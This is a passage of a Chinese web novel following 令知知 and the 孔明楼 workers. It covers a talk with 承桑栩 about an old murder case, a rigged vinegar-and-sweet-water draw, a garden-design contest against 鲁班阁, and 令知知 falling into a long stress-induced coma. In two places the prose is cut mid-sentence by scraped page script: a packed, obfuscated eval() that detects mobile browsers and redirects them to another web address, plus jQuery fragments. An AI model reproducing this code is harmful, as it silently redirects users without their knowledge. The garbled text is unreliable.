承桑栩推过一杯茶,直勾勾地盯着陈鱼笑,道:“陈姑娘还是如往日一般直来直往啊,这次竟然连招呼都不打。” 说得陈鱼不懂礼数一般。但似乎确实如此。 令知知此刻夹在中间,看陈鱼捏紧了裙边,比她先开口道:“事关重大,还望承桑公子将事情原委告知我们。” 承桑栩将另一杯茶也推过来,抬抬手,示意令知知品一品。 碍于他的势力,令知知听话了抿了一口,敷衍道:“好茶,好茶。” “令掌柜没尝出这是哪里的茶?”承桑栩似乎始终对她持有一种来历不明的嫌弃。 陈鱼也喝一口,熟悉的香味入口,她解围:“银生的。” “据我所知,孔明楼中,就有一位老家在银生的伙计。”他说话就像是寺庙里用一些不清不楚的话语点拨百姓的大师,一句话要让人捉摸许久。 令知知看了看陈鱼,满脸疑惑道:“谁啊?” 陈鱼也摇摇头。 令知知看不透陈鱼,更看不透承桑栩。她不知道为什么这个男人说话非要绕七八个大弯子。人与人相处,可以圆滑些,但如此费力的点拨不是纯纯浪费时光嘛!她的眼神有些埋怨地落在茶碗上。 “不说这些了,”他见二人并未被“点化”,说话也通俗了起来,“之前银生曾有一案,便是这杀人放血案。凶手隔断受害人的颈部、腕部等血络,让受害人看着自己慢慢失血而亡,极其残忍。” 他说时还将手放在自己的颈部和腕部演示着,令知知在一旁看着就已经想象出了画面,似乎痛在自己的手腕上,连忙揉了揉。 “原因呢?”陈鱼问道。 “说是情杀,女子将男子的情妇绑在柱子上如杀鸡般放血,为了套出那男子的下落。可似乎那情妇并不知情,不过一个时辰,人就走了。” “那杀人的女子,抓住了吗?”令知知问。 “找到的时候,也已经自杀了。” “男子呢?查无此人了?”她追问。 承桑栩是个慢性子的人,接连被追问,揉了揉太阳穴答:“好像带着自己的女儿跑到外地做生意去了。再多的,我也不知情了。” “或许这男子这和左阅有什么关系?”令知知猜测道,然后又回想起之前承桑栩说的话,“这和我们楼里的人有关系吗?” “我也只是随口一提。”承桑栩端起茶,像是敬酒似的在空中朝令知知的方向随意地提了一下。 陈鱼已经站起来准备走了,令知知才反应过来这是赶客的意思,连忙起来行了礼。 承桑栩笑骂道:“我帮了陈姑娘一个忙,陈姑娘又要如何回礼呢?” 陈鱼听后像是有话要与他说,站定在原地。 令知知看眼前这局势,已经不好留下了,用眼神鼓励了陈鱼后就拉开帘子出去等她了。 确定令知知出去了,陈鱼才顿了一下说:“我那日已经将银子放在桂花树下了,若是你嫌不够,再差人来取。” 那日她去找他,已将自己好不容易攒的银子放在他家中了,实在不敢再欠他什么了。 她背过去,不再感受那炽热的目光。 承桑栩大抵也知道自己留不住她,安静了许久才说出一句让二人都解脱的话:“你走吧。” 令知知看陈鱼出来了,妄图从她脸上看出些什么来,但陈鱼这人是个冷面女侠,根本不会有多余的表情。 令知知小心翼翼地跟着陈鱼后面走,像是陈鱼才是她的老板。 门口进来的小厮抱着几捆画卷进来了,不小心碰了一下陈鱼的肩膀。她一脸嫌弃地扭过头去“啧”了一声,小厮见状连连抱歉。 “这就是今年要挂在相亲角上的画像?”令知知问。 小厮满脸羞愧,抱歉道:“对对对,今年的画像多,一个没看着就冲撞了姑娘,实在抱歉!” 令知知微微点头,小厮就进去整理画像去了。 “还有半月就到八月了。”令知知挽过陈鱼的手道。 陈鱼也随她挽着,像是两姐妹似的在街上闲逛,她打趣道:“你要相亲?” “我才不需要!”令知知一定是想到了孙客,满脸的笑容。 陈鱼看不惯她这副模样,无语地丢下一个“切”。 像是突然想到了什么,令知知问:“你也知道佳偶园办的相亲角?” 陈鱼陷入了回忆。 四余门后山,几个伺候陈鱼的姑娘吵闹着要去画像,在旁边挑选着野花簪在头上,丝毫没有看到在旁边苦练鞭法的陈鱼被一条豺狗追赶。 “救命!”陈鱼带着哭腔在一枯树上喊着。 那豺狗已经被陈鱼的鞭子“伺候”过了,但那时陈鱼年纪尚小,功夫还不到火候,只不过伤及皮毛而已。 豺狗在树下虎视眈眈,陈鱼的手上无力,快要支撑不住了。 那几个侍女视若无睹,继续争着最艳丽的那朵野绿菊。 这时承桑栩不知从哪里冒出来了,只是厌恶地扫了那豺狗一眼,就把它吓得屁滚尿流、落荒而逃。 他将她从树上抱下,轻声安慰道:“这烈豺是铁家的,只是看你眼生才追赶你的,莫怕。” 然后转头恶狠狠地对着那三个侍女怒喝:“叫你们照顾她,你们是在干嘛!” 侍女早都已经跪成一排,那朵绿菊也随意地散在旁边的地上,失去了方才的清秀模样。 “你说”承桑栩挑起一人的下巴,咬碎了牙问,“刚刚在干嘛?” “八月初二,北面佳偶楼要办相亲角,我们姐妹几个也到了出嫁的年纪……”女子颤颤巍巍地说,眼睛里满是惶恐。 陈鱼来后山不过三天,她们当她也是来此修炼的低阶侍女,自然不想理会她。 “想嫁人?”承桑栩怒哼了一声,瞥见那朵散落一地的绿菊,“先去菊生庵里养养性子吧!” 他不留情面地抽出被紧紧攥在侍女们手中的衣角,背过头拉着陈鱼走了。 “陈鱼?”令知知的声音将她脑中的回忆化去。 陈鱼回头看向刚刚的包间,淡淡说:“依稀知道一些。” 令知知顺着陈鱼的目光看去,明白了陈鱼的留念,但也不好多说什么。这个时候,怕是多说多错,只是挽着她一路回了孔明楼。 “掌柜的回来了!” 见是令知知回来了,大家都围了上去。陈鱼在人群中见缝插针,好不容易才穿梭回了后院。 “干嘛啊?”令知知有些不知所措,“这才几个时辰不见。” “他们是怕自己被抽到去鲁班阁学习,要提前给你尽孝。”孙客笑着说。 小蟹已经把扶手长椅搬过来了,玉蓉给垫上了几个她亲手缝的垫子。 令知知并未直接坐下,而是拿起垫子端详道:“这个花样好看。” 小蟹补充道:“上面绣着的都是咱们,岸边有芙蓉花,河里有藻荇,这是鱼虾螃蟹,看,还有一对璧人在河边依偎呢!” 令知知十分欢喜,如此细密的针线,定是花了玉蓉好多时间。她指着河边的两个背影,问:“怎么你们都有拟物,就我和孙客还是人。” “谁说你们是这两个人了,看旁边两棵树,不也是成双成对的嘛。”小虾嘴贱犯了,指着垫子上两颗枝干缠绕在一起的拐角树道。 令知知拍下他的手,幽怨地眼神盯着他。 “你别逗掌柜的了”玉蓉笑着责骂他,解释道,“这条河就寓意着孔明楼,旁边的花鸟虫鱼、红花绿树都离不开河水,就像我们这九个人都离不开彼此一样。” 她的手指点在绣面上,像是在说一个故事:“河上有石桥,是这对璧人为了相见而搭建的。就算我们之中有人要离开了,我想,因为这座桥的联系,我们的心也会彼此相依的。” “玉蓉有心了。” 令知知从来都是个没心没肺的,和她待在一起的女□□不是陈鱼这样的冷血女子就是班绫那样狂野的丫头,这还是她第一次收到这样用心的礼物,不知该如何感谢玉蓉,心口像是压着什么从未有过的情绪。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15360222|163112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 孙客在旁边看着这一场景,心里感叹着师生情谊的曼妙之处。 阿荇为了缓和气氛,故意说:“玉蓉,你提前准备了礼物也不早说,害得我们几个空着手,怪尴尬的。” 令知知嘎嘎嘎笑得像鸭子,甩了甩袖子躺在木椅上,说:“既然如此,都来尽尽孝吧。捏腿揉肩,上果子奉茶!” “你把图纸画好了?”孙客不知道从哪也抬来了一个躺椅在令知知旁边躺下,假装不经意地问她。 令知知连眼睛都没睁开,嘴里嚼着糖果说:“你就把心踹肚子里吧!” “来,把你们的小嘴张开,姐给你们吃糖!”她不知从哪里掏出来几颗糖,挨个塞给伙计们吃。 孙客也张开嘴,“啊”。 令知知难掩笑意,乐着说:“行,你也来一颗!”撑着身体把糖喂进他嘴里。 “你心中有人选了?”孙客嚼着糖,像是明白了什么。 令知知只说了四个字:“全靠天意。” 说罢,令知知起身活动筋骨,看了看后院的炊烟,就跳着去帮忙去了。 不一会儿,好菜就摆满了一桌子,加上整栋楼里沉郁地气氛,还真有“断头菜”那意思。 “大家快吃啊!”令知知还在调动气氛。 见大家还是不为所动,她主动站起去端来几碗酒,说:“大家的心悬着,吃饭就吃不香了。” 孙客和陈鱼也帮忙将酒都放在旁边一张小桌上,排列整齐。 “我们这次就以这种方式抉择吧,这有六碗水,碗和水的颜色都一模一样,但是味道不同,四碗甜水,两碗醋。喝到醋的人替我们去鲁班阁进修!”令知知指尖从酒碗边缘划过,“从左到右,从上到下,你们选吧。” “我要左二!”小泥鳅率先举手。 阿荇反应过来,道:“右一!” …… “那我就要最后这杯吧。”阿藻指着最后一碗。 把碗都放在大家面前,令知知大呼一声:“好,现在一起喝!” 连陈鱼都观察起六人的神色来,孙客也在一旁,虽然他没有喝酒,心却跳个不停。 见大家神色各异,令知知道:“喝到醋的站起来吧!” 玉蓉扣着桌边站起来了,担心地看着小蟹。阿荇踌躇了一会也跟着站起来。 “恭喜!”令知知拍了拍二人的肩膀,把碗收拾了就坐下来吃饭。 大约是不想让楼里的气氛过于沉闷,大家都心有灵犀地不再提要走的事情。 吃完了饭,大家都一起蹲在后院里刷碗,表面看上去,还是欢喜一片,一切如常。 等到晚上,阿荇和玉蓉去令知知的房里说话。 “掌柜的,我们在想,知道比试结果了,再去孔明楼。”阿荇和玉蓉挽着手,像是彼此激励着似的。 也是第一次见阿荇如此温婉得体的模样,令知知心软,道:“好,毕竟图纸里也有你们的一份功劳。若是输了,也不遗憾,挺直了摇杆去;如果我们胜了,就等到花园修缮好那日再走吧。鲁班阁那边,我去交涉。” “多谢掌柜的。”二人欣喜,眼里却闪着泪光。 孙客见她们走了,才进到房间里来。 “是你选了她们二人。这样,真的公平吗?”在他咬破糖那刻就瞬间明白了令知知的诡计。 那小小的糖块可不简单,内里装着能短暂改变人味觉的药浆,他受伤时却不愿喝药,便是吃了这种糖才将那几大碗苦药灌了下去。 其实所有碗里装的都是甜水,只是令知知提前给大家伙吃的是糖,给玉蓉和阿荇吃的是药丸而已。 “自打人一出生,便是不公平的,”令知知叹息,摸着玉蓉亲手缝制的垫子,“阿荇性子强,行事敷衍了事,平日里又没有好好打下基础,图画得也颠三倒四,去学堂里好好学学,能锻炼她的耐性。玉蓉嘛,来的时间最短,性子比阿藻还要柔些,但她记性好,是个好苗子,陪着阿荇去锻炼锻炼,或许能有更大的长进。” 孙客坐在她旁边,还是有些不理解地问:“一下子拆散了两对……” “人都是要独立的。”她盯着他,眼中不知道装着的是希望还是绝望,“我希望她们离开了谁,都能好好的生活。” 孙客语塞,或许明白了她的良苦用心,握紧了她的手。 这一夜,二人像是才下定了什么决心似的,眼神里倒映的火光似乎不是烛光那么简单。 24. 一图定胜负 第三日就这样说快不快的到来了。 令知知表面看起来波澜不惊,实则手里冒着虚汗。伙计几人又不敢开口问,心里只能装着有些不确定的底气,也跟着踏进了陆家。 一进门,管家就上前招呼,有意无意地提起画师的费用。令知知装傻是一流的,说天气、谈人文,就是不讲银钱。 “令楼主你……”管家被气得上气不接下气。 没想到鲁班阁的人早在此候着,见乌泱泱一群人到厅前,班项迎了上去:“令掌柜来了?” “班阁主。”令知知行礼。 班项惜才,如上次那样拉下身份,托起令知知的手道:“都是朋友,不必客气。” 令知知左顾右盼的,没想到鲁班阁今日只来了两个人。班项也知道她在看什么,道:“班绫被我送去宋家学习了,今日不在。” “哦。”令知知故作镇定,表现出一副“我又没问”的样子。 管家这次没有带着人手,孤身一人过来回话:“我们大人有请。” “陆大人。”两位老板并排行礼。 “坐。”陆朱看上去很神色有些慌张,额边碎发黏在汗珠上,“今晨方才赶回白子城,还未来得及换下官服,二位见谅。” 还是像初次来那样,令知知和孙客坐在北侧,班项坐在南侧。只是不同以往的是,伙计们和鲁班阁的那个随行在门外候着。 令知知扯出官方的笑容,双手撑在膝盖上,不安地扫视着外面那随行手里握着的那卷图纸。 “别怕!” “加油,掌柜的!” 伙计们和她的眼神对上,还以为她是想和他们交流,在门外为她小声打气。 旁边那个随行倒显得镇定大方,令知知“啧”了一声,伙计们才学着旁边的人安静下来。 “孔明楼的伙计们倒是与令楼主上下一心啊。”听陆朱这语气,似乎有些不满,不知道是不是有人把画像的事告诉他了。 令知知此时心正慌着,脸色都有些差。她苦笑,艰难地咽了好几次口水,但不知为何迟迟开不了口。 孙客见她这副模样,立马反应过来替她解释道:“我们孔明楼没有‘上下’这一说,大家都是一起共事的,是伙伴、是朋友。这样的身份,自然是一心的。” “好、好啊。”陆朱明显不想再耽搁下去了,“鲁班阁和孔明楼,哪一家作先啊?” 或许令知知此时难受的样子已经十分明显,班项看了她一眼就站起叫来随行,道:“鲁班阁先吧。” 他将画卷铺在木桌上,整个花园构造如同拓印般展现在这张价格不菲的图纸上。 班项老练地卷起袖口,用手指点出几处关键:“首先,陆家花园进门前的照壁不加以修改保持原样,但左手边的连廊扶手改为更为防腐的水曲木,这类木材纹路美观,耐磨性好,与周围的景观放在一起也不突兀。” 他的手又向上抬了抬,指到回廊处。 果然,他也注意到了那些不菲的壁画。 孔明楼的几人瞬间心提到了嗓子眼,仔细地听着班项的解决方案,生怕自己漏掉了什么。 “首先,此处地砖的台阶高度不一致,并且看得出已有磕碰的碎块,应该已经出现过很多次有人在此摔倒的情况。鲁班阁的方案是找平地势,直接将地砖铺平,这样也能减少对老人膝盖的损伤。” 班项在图纸左上角的弧形图案上用指背敲了两下,道:“而因为回廊是半圆形,上午和下午东西方的光线不同,为了不影响观感,可以添置鲁班阁特制的‘昌明灯’,这种灯的烛火被流辉纸包裹,投射的光温和,既不会使壁画表面开裂,又能保持长明,光照的范围也大,只需五盏灯就能将整条回廊照亮。” 昌明灯,已经许久未听过这个名字了。令知知因为心跳过速,捏紧的拳头上的脉络都鼓了起来。 所有人似乎都已经觉察到了她的不适,却唯有孔明楼的几人眼里投射出担忧的目光。 “这就是陛下当年……”陆朱似乎也想起了什么,但又将话咽了回去。 班项为了打消疑虑,解释道:“是。不过现在这灯不是特供给皇室的,已经可以批量生产采购了。” “令楼主这是怎么了?”管家在一旁,故作惊讶地问,“这才开始呢,难不成孔明楼就要认输了吗?” 令知知此时眼神已不能聚焦,看谁都重影。若谁绕到后方,必能看见她已经汗湿了的背部。她尽量保持着应有的礼仪,挤出笑容道:“无妨。班阁主请继续吧。” 孙客立马掐住她的虎口,只有让她感受到疼痛,才不至于晕过去。 不知道是不是令知知的错觉,接下来班项的讲述变得简洁明了,不再解释原因而是直接给出解决方案。但因为这花园的面积大,问题也多,还是讲了许久。 令知知能感受到,每讲完一个重点,就会有一束关切的目光投来。不过,她只当这是班项对她这个对手的同情怜悯罢了。 如今突然发病,她不知道自己还能不能将这包着孔明楼九个人心血的图纸讲好。 “最后,鲁班阁提议在后门前修建一面隔墙,一来隔去商队的嘈杂声,二来避免直冲街巷,利于财运聚集。以上,就是鲁班阁的方案。”班项快速地结束了讲述。 陆朱叫下人把图纸拿上去,仔细观摩了之后,点点头道:“不错不错。” 管家见班项的方案事无巨细,以为令知知这副模样是想临阵脱逃,佯装关心道:“令楼主,如今您还能讲吗?” 令知知撑着孙客的胳膊起身,朝着陆朱和班项恭恭敬敬地鞠了一躬,然后对着那不怀好意的方向说:“自然。” 她的虎口已经嵌下了好几个指甲印,有几个甚至在渗血,但她像是感觉不到似的。 孙客将令知知的手放在桌子上示意她扶稳,然后拿出图纸铺开。这湖州的称心宣已经是孔明楼对陆家的最大诚意了,实在用不起好的装裱卷轴,只能拿镇尺压着四角。 管家见这穷酸样,故意轻轻“呵”了一声。 “孔明楼的用纸装裱虽然不及鲁班阁的,但内容未必不如鲁班阁的。陆家请我们来,定是也有看中我们的地方,谢管家何必如此。”孙客硬气回怼道。 陆朱也象征性地提示管家:“谢涌。” “是,老爷。”谢管家拖出一张长凳让令知知坐下,“给令楼主赔罪。” 令知知虽病着,但也不愿给他好脸色,对着孙客说:“我们还是快些讲吧。” 孙客点点头,将凳子抬至一边。 “既然是比试,鲁班阁站着,我们孔明楼自然也不会坐着讲。”令知知手抠着长桌的边,小心地挪动着脚。此时的她,是每迈一步,心跳都如雷鸣般疾驰,仿佛要从胸腔中挣脱出来。 她的手颤抖着点在图纸上,“从入门后的小径到左手边的回廊,石砖材料和颜色的选择过于跳脱,应当统一。同时如鲁班阁所言,地势高低起伏还需找平。” 令知知的唇色已经白了,明明正是热的时候,她的手脚却渐渐冰凉。 谢涌心里嘀咕了一句:是个人都知道,还用得着你说。或许是刚刚的表情过于得意,抬头不想对上了孙客那漆黑的眸子,他瞬间收敛了下来。 “不过据我所知,‘昌明灯’的用料十分昂贵,而且需要人添火换烛,若遇上风雨天,实在有些耗费人力物力。” 她难受地咽了咽口水,似是没有缓解多少,强忍着不适继续道:“我们孔明楼的方法是在西北、东北两方回廊檐边放置一排反光铜镜,晨时西北面光,拉下装置阳光反射至东北面;午后东北面光,拉下另一边的装置将光均匀反射至西北面。若是再刷上我们孔明楼特质的亮漆,即使是阴天微弱的光,也能将光聚集起来反射出去。” 小蟹适时拿进来一个缩小版的机关,灵活地在烛火前演示着。众人惊叹。 “这种装置用料简单便宜,或许几年才需要更换一次,能省下不少钱。”孙客在旁边补充道。 令知知笑着,却不知自己已经渐渐无力,瘫软缩了下去。 孙客赶紧拖住他,孔明楼的伙计们见大事不妙都冲了进来,一个个嘴里喊着令知知的名字。 令知知的眼睛已经睁不开了,只能从缝隙中看着自己被簇拥着爬上孙客的背,身体的不适让她无法说出“小心你的伤口”这句话,只能拼尽最后的力气抵抗着。 孙客似乎明白了她的意思,担忧急切地说:“穿了,我穿了软甲。” 听了这话,令知知才放心地晕了过去。 她并不是长长地睡了一觉,而像是她的灵魂被困在这具躯体里了一样。她能感受到有人替她擦脸、换衣,也能听见周围人絮絮叨叨地在说些什么。 可惜,那些简单的字眼,她却听不懂了。 我是死了吗?令知知常在想。 但她的喉咙能感受到温热的、却不苦涩的汤药,也能嗅到段邤送来的花香烛的清香,偶尔,能辨别出孙客在她的手心里写着什么。 我应该没死。她又想。 就这样,好几日无眠的躺着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15442152|163112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虎口时不时传来细微的阵痛,应该是孙客吧。 她好想问,孔明楼是不是输了。她在躯体中责怪自己,恨不得抬手扇醒自己给大家跪下道歉。 可此时,热泪从脸上滑落,她都无法羞愧地将头埋入被褥中。所有的屈辱,似乎都被光明正大地摊在大家面前。 某一夜,她的手又是被另一只大手握着,几个人进进出出,嘴里一直念叨着什么。 但她顾不得去细听内容,她只觉得她的背好痛,她能感受到自己的手脚开始冒汗,热得像一盆火。 扑通、扑通…… 心跳的声音在她耳边无限放大,像是被装进了西域的皮鼓里任人敲打。是极为陌生的濒死感,她知道这就快要晕死过去了。 耳边传来巨大的轰鸣声,像是蜜蜂钻进了她的脑袋里拼了命地振翅。 尖锐的耳鸣之后,她失去了意识。这次是真的昏睡了过去,毫无意识的、无法挽救的。 黄昏和黎明交替,日子竟然也过得快了一些。 孔明楼似乎已经人去楼空,白日里见不到一个人。只有乌鸦感受不到此处的压抑,时不时在令知知的窗前落脚,发出那令人厌恶的、凄厉的哑吼。 陈鱼低下头去找承桑栩求药,那百医行一丸千金的药一颗颗的喂下去,却是毫无效果。她也不信邪,只能一处处地去寻那些隐居山林的游医,妄图能获得什么灵丹妙药。 雨忽然就连下了好几日,雨声时大时小,令知知的脉搏也时强时浅。 还好,终于捱到了一个大晴天。 楼下的喜况似乎有些不合时宜,断断续续地放了一上午的炮竹,这天也是自比试之后,孔明楼的人聚得最齐的一次。 大家趴在令知知的床边,挨个和她说着自己最近做了些什么事,最近城里又传来什么八卦。不过不能免俗的,还是大家说着说着都开始掉眼泪,吵着要分享自己有多想念那个活蹦乱跳的令知知。 那日是八月二十三,令知知的生辰。 夜晚,大家把窗户打开,数着一二三。 “三”字才说出口,一束烟花冲破夜空,像极了神话里的银蛇窜如云霄。 紧接着,一片色彩斑斓的璀璨银光炸在黑幕中。 那些绚丽光影照在令知知沉睡着的脸上,而她的双眼紧闭,对外界的一切毫不知情。 周围的人们,或许是满怀希望地期待她能在烟花的绽放下睁开眼,可待到烟花绽放时产生的烟雾都四散而去,她都任何没有苏醒的兆头。 大家一个接一个不舍地和她道别,最后只留下孙客一个人守着她。 孙客还是经常在令知知的手上写字。 那时候,他们从宫中逃出,被陈鱼、阮徽救回一条命后,在药铺里帮忙打下手。 有一次,一男子气冲冲地跑进来抓着令知知的手就往外冲,走到街巷上说是令知知抓错了药,导致药物相克,害得他不足六岁的儿子惨死家中。 令知知自然不能被凭白诬陷了去,立马要求那男子出示药方。可来往的人群将他们围在一起,不分青红皂白地要求令知知给个说法,令知知喉咙都叫哑了,也没人听她一句话。 就在那时,她也这样晕死了过去。 阮徽说令知知身体上没有毛病,是心病。一旦受到超出心里承受能力的刺激,就会身心崩溃。这种病的可怕之处在于,就算能得到短暂的治愈,但之后在类似的情境下,患者还是会四肢瘫软、惊恐心悸,甚至屏息休克。 在那段难捱的时间里,孙客发现令知知虽晕了过去,却能感受到自己摩挲她的手心,甚至有时还能分辨他在手心里写了什么字。 他写:难受? 令知知皱了下眉头。 何处? 她的小指微微翘起。 她是把身体从上到下的部位对应到手指上。 他立马明白了她的意思,于是将被子掀开按摩起她的脚心、小腿。她也舒展开了眉。 她有时用中指点了点,他就帮她擦洗按摩后背。 等她醒了,她有时还用这种方式逗孙客。时不时用食指抠着孙客的手心,他也惯着她,帮她按摩起肩颈来。 阮徽说过,令知知将要晕厥时,可以用力掐她的虎口,感受到身体的疼痛能让她暂时清醒些。 但偏偏这次,令知知像是什么也感受不到。 孙客一夜又一夜的守在她身侧,就期盼着她能感受到有人在陪着她,哪怕是她能用表情告诉他痛了痒了也好。 他只想让她别害怕。